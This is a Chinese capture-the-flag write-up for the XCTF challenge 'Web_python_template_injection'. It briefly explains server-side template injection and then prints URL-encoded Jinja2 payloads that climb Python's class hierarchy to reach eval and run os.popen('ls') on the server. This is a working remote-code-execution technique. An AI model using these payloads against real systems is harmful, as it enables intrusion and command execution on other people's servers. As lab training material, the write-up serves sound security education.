打开题目:

攻防世界Web_python_template_injection

 题目提示为Python模块注入:

 

1首先判断一下:

攻防世界Web_python_template_injection

网址输入“{{7+7}}”页面显示14,说面存在“SSTI” :

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

2j接下来:“%7B%7B[].__class__.__base__.__subclasses__()%7D%7D”,来查看所有模块

攻防世界Web_python_template_injection

 

3,os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D"

查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

攻防世界Web_python_template_injection

 

 4,然后使用['o'+'s'],可绕过对os字符的过滤,

%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

访问:“flag”文件;

 

攻防世界Web_python_template_injection

 

相关文章:

  • 2022-01-09
  • 2021-07-25
  • 2021-06-17
  • 2021-08-07
  • 2021-10-29
  • 2021-11-27
  • 2021-06-23
  • 2021-05-28
猜你喜欢
  • 2021-08-31
  • 2021-07-31
  • 2021-06-25
  • 2022-12-23
  • 2021-09-11
  • 2021-12-18
  • 2021-04-25
相关资源
相似解决方案